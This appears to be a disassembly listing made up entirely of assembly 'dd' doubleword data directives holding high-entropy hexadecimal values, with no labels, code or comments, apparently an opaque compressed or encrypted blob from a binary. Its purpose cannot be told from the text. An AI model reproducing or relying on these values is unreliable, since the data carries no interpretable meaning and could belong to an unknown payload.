		dd 0BB684DDEh, 0BD61600Ah, 0CD905B09h, 0F0B2C087h, 0B87C7043h
		dd 2518083Dh, 40F66F5Fh, 0AEE932E2h, 938A604h, 0D4EF898Dh
		dd 5D9BEA2Eh, 0F4DC85C7h, 0BDD985F4h, 0F2844A7Dh, 97C7BABh
		dd 5BFC1679h, 5A9FA3EBh, 2C286E55h, 0DE8ED1FFh,	69879101h
		dd 2E5BCFDFh, 39540DCh,	0BE9CBF53h, 0ACDC0297h,	84A9A3EFh
		dd 80F8DEAFh, 9DA8C8D1h, 78505836h, 0A2C8910h, 0B860026Ah
		dd 3B220108h, 9367C8DFh, 0EB38C203h, 8D61E419h,	43AC30AFh
		dd 1000414Fh, 886CBD13h, 24CFC2h, 1B9A3C39h, 89126E22h
		dd 0BF70440h, 68D2DF10h, 0F3AD9D94h, 754F1761h,	0AF65353Bh
		dd 90736C2h, 8B00E951h,	9B3FC7F8h, 20031F87h, 7C6D401Bh
		dd 0A828AFD1h, 0E11982B8h, 0FF05F59h, 864F2C2Eh, 0B4F7715Fh
		dd 0BAE845A2h, 88935FDAh, 2C575F78h, 9257EC8h, 0EFFE071Dh
		dd 161446DEh, 46A29037h, 54DC9500h, 58104026h, 29773EBh
		dd 0C9DCEDAh, 0E03D628Dh, 5F42B329h, 896BDB90h,	0BF91702Fh
		dd 1D0B603Fh, 7A5E22Eh,	2578BD8Bh, 3DD7B26Ah, 0FCF9822Fh
		dd 0D40566Ch, 5F5FCE2Ch, 16B2C8F6h, 1256C430h, 9BFF6AE5h
		dd 58988226h, 34DF56CCh, 6D56FEF0h, 3229F00Eh, 12E814FDh
		dd 0F8BAFE04h, 0BBB9327Ch, 70A52788h, 0B0204006h, 0C0572CE1h
		dd 7FE00DFBh, 0FC225A13h, 433904A4h, 0C812259Ah, 0BB5CB292h
		dd 0B44E00F4h, 0D957A6A7h, 0D2B90073h, 0FE170D90h, 249798E5h
		dd 0E98DEAD9h, 0ADEAD46Fh, 659D08DDh, 30571325h, 85A48A51h
		dd 0CC6CE109h, 1EA715Fh, 5BAFDFBFh, 57063E64h, 953F4195h
		dd 8021DA88h, 8A5031E5h, 28C90FEDh, 69295CDDh, 8E109FF3h
		dd 0E55BC690h, 0FD9C88D0h, 0C82B0913h, 0B8029CD3h, 5C605638h
		dd 0D78102F8h, 40AB82CDh, 2A0506DDh, 0B985104Bh, 0DF81041Ah
		dd 0EA803EE0h, 97EADB80h, 0F2B70483h, 78EA0A70h, 0BFF2497h
		dd 1D35DA50h, 961BBCC3h, 0BC3935ABh, 5B2F257Bh,	6F2D11D8h
		dd 939256CCh, 0FE1B82A5h, 4F8F88F5h, 61EA6013h,	51198542h
		dd 0DF9531D8h, 0CC61D125h, 0EBC916C3h, 966FFE20h, 0A0680600h
		dd 9CB46D18h, 86C844D2h, 0F8300074h, 0B2855732h, 0DB01B8B0h
		dd 3F9C1FC6h, 992B6CB3h, 79CA8803h, 0FBB90913h,	99ED86A9h
		dd 17D880C0h, 408B16E3h, 2B91F553h, 9BFDD04h, 0B53E7BC3h
		dd 9DC0DC9Bh, 90C8A9CFh, 8901434Eh, 0C02B7CB4h,	0B6EF122Ah
		dd 3BB3D3C0h, 12610C62h, 69CF995Ch, 0D639D6D9h,	1F251446h
		dd 57178DC6h, 0C2A9B531h, 8DC55F25h, 878D6269h,	553BB79Dh
		dd 61854937h, 0AA80D61Eh, 97120D85h, 8B43AB1Ch,	763014F2h
		dd 9E6AE1B8h, 88D2C193h, 0C941DAF8h, 810018DDh,	0B912ADD3h
		dd 0C2AD2B31h, 4B8C18ACh, 8812B588h, 2042564h, 870FE1FFh
		dd 0C925616Ch, 0F7F6A121h, 282EE1C1h, 54B60DCh,	38E8C0FDh
		dd 9E48A000h, 83EF68Dh,	42E85F25h, 11AD85D8h, 4071045Eh
		dd 9D337785h, 44FFB75h,	0C528EBB5h, 0F18684E1h,	0C0E39E04h
		dd 0E775D8BEh, 60FE27E6h, 0D9705C73h, 0F00497C5h, 3720EA60h
		dd 1018841h, 0E3D66D72h, 0F9AEEFF8h, 0EC206AF4h, 2960B0h
		dd 3EEBD71Ah, 1E35782Bh, 0A9C7421Fh, 5D0856A6h,	0FD5A1718h
		dd 52564C8Dh, 9DCA5C2Ch, 0DEAAE740h, 1F6016h, 0F82598F6h
		dd 4AD3C151h, 6EBE7705h, 0C6C4BB66h, 96150CB9h,	2CEC9C01h
		dd 337A405h, 65854510h,	0F81552FBh, 0C749809Ah,	168276h
		dd 832FA93Ch, 648F1139h, 4047D112h, 0E72F94B5h,	85FEA510h
		dd 9DE7E83Dh, 43025380h, 2561C74Ah, 2CEAEACCh, 2E65724Fh
		dd 0E461AD83h, 8F1EBA13h, 0F8A9F752h, 0B148B612h, 7CB37E83h
		dd 5B35CF00h, 0A8556FBCh, 0EC6D8000h, 44828CEAh, 0DC7BB490h
		dd 0DD788301h, 2F6A767Fh, 0DB6A773Ch, 1E542F90h, 0F4EADCA7h
		dd 68FC1600h, 0FA2E06BCh, 22BF1266h, 43EEB03Ch,	5F0FD12h
		dd 5F355E32h, 7C82C2C5h, 0C81EC410h, 0B53145BBh, 6B456E6Fh
		dd 68769DAAh, 716F5F6Ch, 6C45C000h, 603A92B0h, 0C10AD96h
		dd 322F058h, 0FB5C4598h, 21E1060h, 2D37A84Ah, 8BC8532Fh
		dd 0F279820Fh, 0C602D802h, 9285E77h, 0A05CD564h, 121546D6h
		dd 6ECAC3Ch, 921FFC5Bh,	7E7D8BE1h, 0E800ADBCh, 6E9FF160h
		dd 4BED20A5h, 3A87CD7Dh, 0FF03506Eh, 0CBD5D162h, 0D70FB188h
		dd 5BBC8B95h, 0F9FD78CEh, 0B6660D00h, 5D36C0BAh, 55D8A28Ch
		dd 53953950h, 181759CFh, 0F9EA0023h, 87DB801Ch,	6D9F4689h
		dd 9B55E097h, 0BE16E265h, 22ABBD89h, 7656DADDh,	57AACC12h
		dd 2EE2E135h, 0E8B6CA51h, 99B00059h, 0F653AC1Dh, 68056FB4h
		dd 0BB9B1C86h, 0F28BA7C2h, 5A572570h, 0E779CEE8h, 6D448327h
		dd 4D0FC0DCh, 9625D780h, 0FEB5568Dh, 0D9374A07h, 5C9D413h
		dd 1BBDFD6Eh, 20F1B51Ch, 880F5012h, 19ED6DD4h, 57D42481h
		dd 4D316807h, 254DBC1Ch, 8D547140h, 41746D6h, 6B11DDA2h
		dd 9E52F8h, 0E6E444C8h,	227C26Dh, 976B761h, 0D256FA9Eh
		dd 7E32E940h, 0BE2B0004h, 0E165B8BAh, 0B5B0584Ch, 0FE05F201h
		dd 0B5313ACBh, 42BBAD44h, 12D8D9Bh, 0AFC54D55h,	60004A35h
		dd 0B974501Bh, 0A15D129Dh, 8D8AF2F3h, 9C203329h, 0E9164051h
		dd 0D355299Dh, 52F47089h, 9CA8AF4Ah, 93A992EEh,	631F9FA8h
		dd 0F202D75Dh, 7422B341h, 0FE7F5156h, 3FF425F4h, 5DB9BCEh
		dd 2C5BF94Dh, 61C44FDDh, 55C597B7h, 3E127EAEh, 55895E86h
		dd 0C8BBE8h, 0A1E83462h, 0D73FB310h, 41127602h,	74A6FBFDh
		dd 704DEB62h, 19C1AA45h, 80002EA5h, 89972CE7h, 0F66474EDh
		dd 0D3ECA40Bh, 0E99456C7h, 22807E35h, 3702FFF2h, 609A9421h
		dd 605350F9h, 0A54ED99Fh, 5A3428DBh, 6EBB22C4h,	602D0075h
		dd 0CC0308Ch, 497097C6h, 0BDC30996h, 0B9E9BC75h, 108E2D3h
		dd 19EAC323h, 0B3F02DC5h
		dd 0BC6507D5h, 5E64A3F1h, 0C15287E4h, 1B71E1h, 2A315F5Bh
		dd 97C6D18Dh, 8AF3DB89h, 53D3DCD8h, 9B5EE737h, 161AC039h
		dd 9DA7BD84h, 41B3EE18h, 6FC10B9Dh, 6C906151h, 0F5ED4152h
		dd 0BB5B0032h, 9D2E13F8h, 0D0B8DA49h, 85E0C530h, 23368Ch
		dd 0BF1E8898h, 0B70E1066h, 0E280DB4Eh, 9D8D8B60h, 0E861DBA4h
		dd 0E38101BDh, 36DEEB0Dh, 31C1323Ah, 5CC484C2h,	1B299D12h
		dd 0E6D276BDh, 0C88FE053h, 0FEE01306h, 120CB878h, 0F6FC8C0Fh
		dd 9F56FFCBh, 0CBEB484Eh, 0EDB719EEh, 851E4073h, 69020F83h
		dd 618DCB97h, 177150h, 60C7E3B3h, 0A73551E6h, 0B212F23Dh
		dd 0FB01AF6Fh, 0BD2B6C2Dh, 6D55C619h, 6018E4A3h, 2E914278h
		dd 995F42Ch, 0D1D13139h, 402FED6Bh, 0DC7DF2A8h,	4E617895h
		dd 22C88E2Ch, 64909D3Dh, 0E00BE97h, 5DD68F33h, 16FAECh
		dd 0BB505FA4h, 7FD1EEA8h, 4D57A2AAh, 6D66E035h,	88143442h
		dd 4BA19F9Ah, 55E042F7h, 0D325FCE6h, 40E0D629h,	5ED4BF66h
		dd 0F5C33A9Dh, 0B709A6B5h, 0FC71B5h, 197F269Dh,	810BB480h
		dd 75E02F30h, 0AEF51605h, 1523136Bh, 790C2C09h,	2506001Fh
		dd 0F4F80246h, 8A26D039h, 0E98AC176h, 6A579D13h, 0F92CFFDh
		dd 2788B50Ah, 11CAE5A5h, 0CB810121h, 3E473B94h,	0D739773Ch
		dd 0A361F813h, 0B14950AEh, 0AE88294Eh, 97353DBFh, 0AB472427h
		dd 95D65DA6h, 0D4800AF6h, 8D8323ECh, 0A45158E9h, 0E4DBAD71h
		dd 9DEAF0BEh, 0C18FAB9Ch, 21531E23h, 0F6D6ADA2h, 0C482A09Ah
		dd 12692780h, 0BF50BDC0h, 0DB399B09h, 5B5C6233h, 0EB4870DFh
		dd 0B3A0C900h, 0F1FEFCFh, 0F0C695D5h, 12B353Ch,	60C89915h
		dd 6887A291h, 5316F781h, 10487AE0h, 30351452h, 82730B76h
		dd 31820421h, 0A65F91E8h, 3CC0E735h, 1B6178B7h,	0FC71DE9Fh
		dd 0B35090A0h, 2EB00D74h, 27A259BFh, 69E7FE4Dh,	0C6429780h
		dd 0E4895050h, 0A9164A81h, 0B123F862h, 25D580ABh, 0F6726013h
		dd 189DB9FCh, 12B7BB43h, 0BD5A8CC7h, 8C1DAC15h,	0DDE61403h
		dd 0F8BD9B4Dh, 1C18337h, 282A7ABFh, 2AD1FF2Dh, 48021C6Eh
		dd 0FA8AD7B3h, 0FB132EF6h, 778829A2h, 2ED804AFh, 0C9011314h
		dd 6A6897C8h, 0C56B5A02h, 40C07DEAh, 5ACF593Dh,	53815B5h
		dd 0DD114A58h, 41A4C22h, 243908CAh, 9D3B28F9h, 0B44518ADh
		dd 9D418AEh, 29D02AEEh,	0E932C875h, 46E795C6h, 8B827D08h
		dd 3AE8A59Dh, 144B718Dh, 6A4FBDCBh, 0F8FB0038h,	0BB6679D7h
		dd 8BCE485Ch, 5A658954h, 8078E202h, 863AD781h, 51FB9F7Eh
		dd 70C9D6AEh, 596C9553h, 0A301BB07h, 0CEF0EB34h, 0B886FF56h
		dd 3C75F0B1h, 6E5B6AF0h, 9952D47h, 55A7F760h, 0E8816429h
		dd 24984B4Eh, 0D566B7E0h, 2A3AB04Dh, 0E637EEA1h, 1394C670h
		dd 8E3AC12h, 0C62C5195h, 0F94B47BDh, 8D0905C0h,	0E62F4AD5h
		dd 2AE48E2h, 56D43286h,	26FA5C5Bh, 0E2111212h, 4B7E4CFAh
		dd 14A12581h, 5F78F37Bh, 0BA248001h, 8820C82Bh,	0B330408Dh
		dd 0D18B4D1Eh, 590DADBCh, 0FFC6355Dh, 426D4828h, 434D322Dh
		dd 0FD93D5F8h, 0B8C3680Dh, 1C2B1090h, 0D84BB69Ch, 69253E99h
		dd 0FA080CEBh, 0F38E935h, 0DE3B05BBh, 8ECDEA5Bh, 0AC21C42Eh
		dd 92E44DE9h, 2798E04h,	18A5D41Fh, 35B2FE33h, 596A10EDh
		dd 0B9F85E64h, 0F7D09EDDh, 761BB01h, 0C26A53ADh, 2BF97258h
		dd 0EC03679Dh, 0B90ED4D5h, 396825FFh, 25862571h, 95C8DB70h
		dd 0CF22EF41h, 0D49D9C0Eh, 9AA7A814h, 54B912ECh, 34A4D3B6h
		dd 0D021EE27h, 5DD2A220h, 0D025DF3Fh, 0FF53502Dh, 25817E0h
		dd 9C0B85Fh, 710716CBh,	2016EFE1h, 0EEB70251h, 4200B9FEh
		dd 5F89C888h, 9D061E51h, 0EB0FA5E0h, 5D61D625h,	5B50F010h
		dd 0C7665F61h, 6E6FAC47h, 0C7AA1FEAh, 5A524140h, 58B68BB9h
		dd 2C201801h, 2997EA92h, 78FCF329h, 0DC2732C7h,	3DF973EBh
		dd 2DE67EA5h, 0C1B26595h, 3E1F9FBFh, 0C0F750E6h, 492EE38Ch
		dd 561E5C13h, 282EE0E5h, 60887224h, 4070B456h, 0AE505547h
		dd 0FF7E2F00h, 66FD73Eh, 56D303EDh, 58805EEAh, 6F2CC591h
		dd 7B3E98F1h, 0CAA407EAh, 4EF5AAA0h, 9FF92981h,	0F51F302Fh
		dd 55B3E1FFh, 54C9B579h, 0FFD9096Fh, 9C450B79h,	0A62E12B1h
		dd 7879E0D9h, 82383943h, 0F2D98B12h, 4878500h, 20A750E7h
		dd 9EF62DF5h, 0E0619301h, 5FFC5283h, 97950160h,	0E9B9736Bh
		dd 142100Dh, 0AE530064h, 99D79868h, 0E326569Ah,	3D088D78h
		dd 0AA611203h, 8AFB632Ch, 7FEB354Dh, 0B0BBCA30h, 6D919A09h
		dd 54C5760h, 0FE17E125h, 0D61ACAC0h, 0C7B08F2Ch, 0D90B3C09h
		dd 0EF8180E1h, 58FB655Bh, 23318397h, 5F1BDA9Dh,	7138AFE6h
		dd 25AD5E01h, 2F16B8BCh, 3D4D0CD8h, 7A89CFE9h, 0C50B3192h
		dd 0DAB0E9E6h, 6AD465FDh, 1AC82EDAh, 7435AEC0h,	3C64058Ch
		dd 0E89017h, 52D4A7Dh, 7C171CAFh, 9CB05B53h, 4004458Dh
		dd 904515ADh, 0BC37BFh,	582F3846h, 0AF014E5Dh, 0CFB9BF4Fh
		dd 917A368Fh, 2B0BC9E0h, 0E25834CEh, 6A138D3Eh,	0A8ED6650h
		dd 186F8B69h, 406543Eh,	37877FB4h, 0FAF4BA0Ch, 45E07C6h
		dd 8B420Bh, 0EC1444BFh,	9E4C6648h, 59655741h, 4B3D5809h
		dd 0C15FBCB8h, 19B2AEE6h, 0B23FD30h, 1A610D62h,	20CD8D82h
		dd 3E964555h, 2F0C0111h, 0F6B0FCA8h, 99B9B800h,	0A5DE2B64h
		dd 0BB370210h, 5E296EA4h, 8160F15Ch, 25078EF3h,	0E7C45948h
		dd 7A5AFB95h, 25036EF7h, 0E9C65F06h, 3108E19Fh,	0F851DC2Bh
		dd 3ED4895Dh, 808BCB75h, 0C2B89A5Bh, 5C2ADFDEh,	0C0032D7Dh
		dd 845EEACCh, 975038A4h, 0FC1093F9h, 0A895ADA4h, 1BC0915h
		dd 78166D5Eh, 2DB977BCh, 5BD7F684h, 0B3240478h,	59497FB1h
		dd 0F98A8F75h, 30C2279Ch, 63B74301h, 2EDFF158h,	50E85B34h
		dd 0F94B0280h, 7E00ED53h, 4670712Dh, 7E3EE1E7h,	90591FC1h
		dd 9BAC060h, 5A2B5719h,	9CCB7DF1h, 8AA24E7Ch, 36CD1Ch
		dd 6AA8FF98h, 64FEEBE1h, 53937000h, 0F0D8D3EFh,	905B25A9h
		dd 0CD7059DBh, 693C2E56h, 584A0975h, 40A595D5h,	0D5BC4BBh
		dd 0A50931EEh, 0F3618CB9h, 38D870F7h, 4BAB4107h, 6D30F680h
		dd 122DBB55h, 0E7741C79h, 3019B240h, 0E5047209h, 0F8D3DDC4h
		dd 32A361ACh, 17BF2F00h, 0E95E7207h, 0F15C243h,	0EE571189h
		dd 0A6653984h, 0B981CF01h, 0E0C45860h, 0E822D966h, 198D0508h
		dd 0C7A73326h, 65E1EBABh, 473A2E5Fh, 0FAE482E5h, 12DC945Eh
		dd 4FB4599h, 0B8AF4B38h, 4FEDA348h, 0BC31E950h,	53E4091Fh
		dd 0AC5D392Eh, 52816A72h, 0B8C5EC3Bh, 0E846A903h, 41A900C6h
		dd 20C8D92Ah, 70002BF6h, 152F560h, 80260DB5h, 4F9C615Bh
		dd 55554F09h, 0B1BDA730h, 0B15D0AEBh, 21333B8h,	0B60B5663h
		dd 5437424Dh, 1446D66Ch, 0BD090A02h, 0BB570511h, 0EBD409BBh
		dd 147C7F41h, 41ADEAA4h, 148AC9BEh, 407961C2h, 0D8E38156h
		dd 5E26B32Fh, 65951E77h, 9AD8437Bh, 0AA0A02F4h,	0CFFAD7A3h
		dd 29C8325Fh, 6310577Fh, 0F11F71BCh, 0B3C0DD5Eh, 565AFEB2h
		dd 0BF35EE89h, 5B4A3F72h, 8C7BE3CDh, 2964530Ch,	0AD56142Ah
		dd 30DF8036h, 9574E132h, 254BC51h, 27C57BD0h, 8329C9E0h
		dd 0F76994A7h, 0BFBE5869h, 7E71E4F3h, 17E542ECh, 0B0A2DBD4h
		dd 0C4B70E4Fh, 91DD0144h, 0DBF45115h, 478D3E82h, 0E00BCF46h
		dd 0B8EE955Bh, 0E53595h, 3DF8DB1h, 0F397C238h, 11798856h
		dd 3B53BF01h, 242E19D8h, 0BC46FD1Dh, 31C592E8h,	0B429947h
		dd 0F3953E9Dh, 8BA22AAAh
		dd 5947FB70h, 0BA51814h, 2741BD2Bh, 3D5E96A9h, 6C059840h
		dd 7F8B0170h, 0C34F55D4h, 2423F76h, 0D7071DBDh,	0D54A7816h
		dd 6B92C1F3h, 9F960231h, 56F5B9FDh, 102051EBh, 9D50FA8Bh
		dd 0FF062744h, 0ED7D1D30h, 0BD0B1AABh, 13233BC1h, 0F6C9AB03h
		dd 8A5F480Eh, 0A7CDFA4Ah, 0D4AE0B44h, 486BAE6Ch, 90001B23h
		dd 9670A1C8h, 98F42820h, 0A8F94AA2h, 0E781A08Eh, 0E1EF1217h
		dd 886FB239h, 0B5098661h, 0B951BE9h, 0C73D5568h, 65BA77A5h
		dd 12DAEB42h, 0F7AC64Fh, 220FA318h, 5769E5D7h, 0DBC25756h
		dd 915A3D57h, 9EBB811Ah, 82C8F51Eh, 2830982Eh, 20B05C08h
		dd 0E92D28D5h, 2F0A70E4h, 1DF29501h, 0DE895497h, 327FB91Fh
		dd 0C488EF8Eh, 0B7AC2921h, 0C05EFCD7h, 206B6FB2h, 0CA560073h
		dd 386D142Ah, 83125ABCh, 25EC09BAh, 0EFFE6189h,	563B0811h
		dd 5BE08FA2h, 4D2F0995h, 0D6C2C094h, 0BF71A82Ah, 6BDE2318h
		dd 458C0F48h, 8904780Bh, 20E17509h, 0BF278CFDh,	2568E0DEh
		dd 3D7C2191h, 223C0BDEh, 0F1E4EB79h, 41E69000h,	1186DD49h
		dd 0B0C07DBEh, 27DB05D8h, 0BE503414h, 0DBA51075h, 52BC27Eh
		dd 2970415Bh, 999213A9h, 56BEBDF9h, 0DF46F09Bh,	480C02C2h
		dd 65B9ECCAh, 4091EF7Fh, 0D7627D50h, 0F8700313h, 1C0056A2h
		dd 4BFCBE15h, 0C005023h, 66A97FF6h, 956165BBh, 1F56CC62h
		dd 0D629566Bh, 167A1546h, 0AA8A0FA5h, 30243037h, 4B18B712h
		dd 8A009F6Ah, 130B4379h, 758807E8h, 23D504F9h, 0F81A83FAh
		dd 9509C1E9h, 5F02024Dh, 0BC8078E0h, 0FF1D15E4h, 0C3C957D1h
		dd 59375ED8h, 0D5F0145Eh, 26A8016h, 0C0FC6DB7h,	676EF121h
		dd 0E3902802h, 87773B92h, 3D38498Ch, 0DE123BCCh, 930EAEAh
		dd 7EABF335h, 8E960FEDh, 0CB02D589h, 0F1E09019h, 38970BE5h
		dd 61880F12h, 0E9F83F01h, 60B32AC1h, 16917284h,	0B400AEA2h
		dd 0CC9F5F17h, 0BE4B5DC8h, 95A940EBh, 20C59AAEh, 10154D48h
		dd 5B2E0535h, 6CFA024Dh, 0ED7F04CBh, 0F53869A4h, 0EA986E91h
		dd 0A677A21Eh, 0CD4E106Fh, 0D12900D9h, 99704A52h, 4012855Dh
		dd 0BF4EB979h, 85043360h, 0D61E06F1h, 61A8E4B5h, 0E1404D9Eh
		dd 989116h, 229C34B6h, 93060D19h, 0D0336901h, 0F38CF1AFh
		dd 622E61D5h, 3E5CF543h, 507EDE25h, 8802F490h, 5D46B6DAh
		dd 0B5045F1Ch, 0B1DBBF1Bh, 67C01DC8h, 0AE89E9h,	24832C86h
		dd 0FF6AF9EDh, 8D785B9Bh, 82E60B03h, 478BADB3h,	239E2077h
		dd 9718C5BDh, 33206014h, 0E6295801h, 0C0B08170h, 5E050ABBh
		dd 70E61B7Ch, 1D80BFF8h, 266AA778h, 93998E03h, 0A85C92AAh
		dd 17F2B8E1h, 164707EDh, 0E4FD218Ah, 4A007871h,	8AF779D8h
		dd 2BB9BE82h, 1387187Fh, 53FA9FE6h, 566342B7h, 80F94582h
		dd 708EBBC9h, 0C03F6725h, 2E9D897Bh, 9E8E19FDh,	453104EBh
		dd 4A7DB81Eh, 0C0DFDDA8h, 0D9EE03CFh, 0C8582B60h, 0BBD7C0C3h
		dd 0B8D88Bh, 0F49E7133h, 9239E2EEh, 0AD97093Eh,	3F1DDCD1h
		dd 14892BC1h, 0B48CEB40h, 25CB2E80h, 4A7911B4h,	0C4F289D4h
		dd 5DF50076h, 0DBD52149h, 0D8768ACDh, 9AD1163Ch, 7730374Dh
		dd 44017185h, 0B9F88A8Ah, 0BD252295h, 77FEBE90h, 81981200h
		dd 92B1042Ch, 0AF4F0271h, 45E95386h, 7D016645h,	7A9F9D73h
		dd 9524C1E4h, 4B4B54h, 76A6E55h, 0B1119778h, 0DF801023h
		dd 9F7E9092h, 0A5835B48h, 20FE1EA1h, 2BE71131h,	812F3D88h
		dd 0B3702E8Bh, 952101EAh, 6ADFAB83h, 5EDDAA84h,	91B0BE26h
		dd 0FC019A7Fh, 2FEAA87h, 0B82AC780h, 490E8028h,	50306D7Ch
		dd 0A251F51Bh, 37217DE6h, 3EB52961h, 0D20BF153h, 0F405FC08h
		dd 1384DC00h, 0A9BD0BD1h, 72C6B502h, 91C7810Eh,	4FB8C99Ch
		dd 399C068h, 0BA251B92h, 2077F073h, 1FA00669h, 5995200Dh
		dd 0EA7BA578h, 4B015750h, 4ADA8F27h, 21493281h,	0E5F81205h
		dd 172C3DB2h, 91DB79E4h, 0F8014E80h, 509D45EDh,	6052586h
		dd 902FE973h, 0F94E007h, 954653Dh, 0EB2BFF41h, 44FBC802h
		dd 6C18E916h, 0B39270B9h, 0A0BFE0B4h, 45142674h, 0CE04DEC7h
		dd 0F9F14C48h, 5FA3ADB8h, 2EDEAF84h, 0BDD3A281h, 0CD9042ACh
		dd 29ABDB6Ah, 1F4EAFEh,	0F4BF8705h, 2E3918DCh, 0E900B234h
		dd 0FF710CDFh, 9D0309E1h, 9C552091h, 5092D52h, 0EBD0E873h
		dd 673C4893h, 76025110h, 9D8AFB4Bh, 6F84B14Ah, 0F2C0B19Bh
		dd 0F1C7DA1Bh, 338DA0A0h, 11B7C795h, 89697688h,	168C80D7h
		dd 0A46DE77Ah, 9B605A53h, 0EAA38073h, 605E379h,	98529F45h
		dd 7D2794C1h, 0D443FE27h, 6DC0649Eh, 2775B587h,	6B90C0B2h
		dd 0D312DA3Fh, 81E19C95h, 25416E9Ch, 0AA4481C6h, 0EEFC4860h
		dd 5F28B911h, 1CC847DAh, 36DBC8C0h, 560604D6h, 0EA5A9487h
		dd 41337332h, 0C53D1494h, 3DD97980h, 2B97FB58h,	0D0645B92h
		dd 0D9B073A2h, 252E1448h, 6F7654D8h, 709A0D8Bh,	33FEA075h
		dd 0A216719Dh, 0B56F603Ah, 671C9710h, 9348EAB4h, 89A76D03h
		dd 0B162E9ACh, 6CDACC3Eh, 88B34B00h, 0D85EB253h, 26930295h
		dd 0EE8505Bh, 8BEA7F25h, 45B05BEDh, 0A0525850h,	0B2D1525Fh
		dd 43A47B96h, 0ADC24600h, 66C33FBFh, 8DB42D9Ch,	0E900AEC4h
		dd 2AFC8F39h, 31DC736h,	34EB65BAh, 0CFE067BFh, 5F585B51h
		dd 8A608215h, 93A477D1h, 83BF0EF1h, 392C9C3Fh, 4A7D6186h
		dd 0B238A6FAh, 0AF093018h, 636BD00Bh, 5A4D8050h, 0CE624BD1h
		dd 0AD92858Eh, 0A6EC2Ch, 17DE4D1Eh, 2316B3D9h, 0B6D38100h
		dd 0E908F463h, 8D8092EEh, 0EBE06E2Fh, 9BF6500Dh, 8384CC17h
		dd 0BC19B04h, 0D1AB74AEh, 2EAE1495h, 6C6FB935h,	0E5335F12h
		dd 0E87E6DB1h, 0CE3104DBh, 0E8DCE44Ah, 9CADD2C7h, 0A809EDD2h
		dd 0A6310B43h, 23738909h, 3AA16478h, 218270B4h,	4ECC70Fh
		dd 0FEBC486Ch, 708C7D09h, 2D1A9DF5h, 6B60B403h,	64719987h
		dd 0BA8D1A80h, 0E0FC175h, 0F1963367h, 41FBD6E0h, 0D517B404h
		dd 0F5A1ECF0h, 25BCAC3Dh, 98F7FD01h, 15659D23h,	3E58DD6Bh
		dd 1A318020h, 76BE004Fh, 0C2FCE75Bh, 3507F4BBh,	0B77528F2h
		dd 7315AB70h, 608D7401h, 685F4A03h, 5A13708Eh, 5EFF53DEh
		dd 0B85BD2F8h, 93710A87h, 0B70499C4h, 0DFAB8DD9h, 65CDC0AFh
		dd 9C800FE4h, 0E6CCAFDDh, 8C9C380h, 9061FE00h, 350EF6BFh
		dd 0F50762Ch, 26EBA325h, 8B95DB97h, 0E035F91h, 0AF85B5BDh
		dd 88F26374h, 0D74E3F7Fh, 0BE5112h, 39C6356h, 0A29D9D09h
		dd 56615FB6h, 1C12DC3Eh, 0F3E24BB7h, 0DB60BFD2h, 0B53299BDh
		dd 5C12A5C7h, 7DC0FD9Eh, 0A51BB3ACh, 24928B39h,	0A108D5F8h
		dd 48E90B33h, 3FF69BF6h, 790234BEh, 97029FF5h, 876D77C1h
		dd 0B5BB66CBh, 774E5C19h, 90357749h, 989C6A01h,	0A6F866DBh
		dd 0FE8B2EC6h, 0F2071218h, 82CDC80Bh, 228DB589h, 0BA6AF89Eh
		dd 0F517DC27h, 0A89399F2h, 0B7DD4A73h, 82DCDA3Eh, 0C070D259h
		dd 0FD017CCh, 0DF808723h, 0EA26C098h, 6B85539Dh, 0A7CAB557h
		dd 8600F558h, 0BF53961Eh, 5C01955Dh, 0BB0F6373h, 7FBD1557h
		dd 80099B4Bh, 0DD5F65F6h, 22862DCCh, 0F1E54754h, 9AFFA894h
		dd 2B72D2ADh, 25CD558Bh, 8B601664h, 9DE63037h, 0FE27B527h
		dd 0CB353C0h, 30EA314Ah, 3A59D3Eh, 171125DFh, 2A80015Ch
		dd 0D2167021h, 0EAD67730h, 25532B07h, 207C90C7h, 0BFF762A5h
		dd 0E0F700FAh, 65554AF9h, 0E8053C4Eh, 6FAF0C01h, 11823CAh
		dd 47E6EEB0h, 0D926301Fh, 0C1F2265Ah, 957AF92Dh, 2535BD13h
		dd 0C18574AAh, 1A119Ah
		dd 4A01B529h, 0D5D8B203h, 3A1AC2Fh, 0E11D4C94h,	444F3214h
		dd 7C7297C8h, 95540ADDh, 258756F7h, 5B5ACDF2h, 0B8629EE6h
		dd 0E7080745h, 0FF2E8109h, 1B97FBB7h, 970B7760h, 7A75058Dh
		dd 0EAC11736h, 6DBD1645h, 946BCEE1h, 0AC12B919h, 2D068C15h
		dd 19B360C4h, 139D20ECh, 0F1B8614Fh, 76D2DD4Ah,	6F19A089h
		dd 89E603C8h, 0CE1D73FDh, 0C5FACE25h, 763911D9h, 93918670h
		dd 50819198h, 0D3799051h, 0E0ABB6F8h, 0AEEC0C2h, 198E336h
		dd 51C525D9h, 0D6DF043Dh, 65AB4D92h, 0FAA29Dh, 7D83D3C8h
		dd 979CFB63h, 5443FC15h, 0F8ADE32Fh, 97CCF1EFh,	8B0FF618h
		dd 0E5770D5Bh, 0A45A3F00h, 0BD2012D5h, 8E03F2ABh, 7AAF136Fh
		dd 6AF24BBh, 0C085951Ah, 97205168h, 4DB72596h, 2F5A400Ch
		dd 0CFBDC66Ah, 31E840D5h, 0E74B6D5Dh, 0C74C11CBh, 1201D110h
		dd 0EBE055E9h, 0E3D69D52h, 2514BD67h, 0C1E95F0Eh, 0AD7089DBh
		dd 0FF0809A8h, 0A7564D58h, 31946D6h, 6B89CC0Eh,	0F88A912Ah
		dd 5B75E33Ah, 0B3BDD580h, 6B5B00BAh, 9194F4CCh,	0F84F928Eh
		dd 59DB5616h, 4CD6A596h, 4D3DAB2Fh, 7CDB8EA9h, 5E6A4907h
		dd 340A608Eh, 8F0075F0h, 0FE13FBF8h, 74BB5DC9h,	7F853A5Fh
		dd 6FD36A2Fh, 0DBC478h,	0FD985EF2h, 0A3C06D0Ch,	65B50916h
		dd 0B7820DACh, 80F721A1h, 257C2C18h, 0F609970Ch, 1DC04E6Dh
		dd 0BDC8D036h, 0A2FD048Bh, 4673B20Bh, 871D00F9h, 0AAFD1665h
		dd 719561DCh, 71EB8041h, 0BF84C5C6h, 0E6185C7Fh, 0B6485F38h
		dd 4CA96E8h, 0B86159C8h, 4E53D49Ah, 0B8696BE9h,	0C49614B7h
		dd 6E2A652Dh, 3C6703CEh, 0E0F5B288h, 25B531CBh,	18E52739h
		dd 1EAB5ADh, 8F4A7B3Fh,	3557C687h, 8E1C9128h, 3D206317h
		dd 0BD19899h, 9DACAC39h, 121B9A04h, 6E80EBECh, 905287B4h
		dd 14C88D00h, 0A2C39B4Bh, 0D1E40415h, 0C4F88EC7h, 449C3D3h
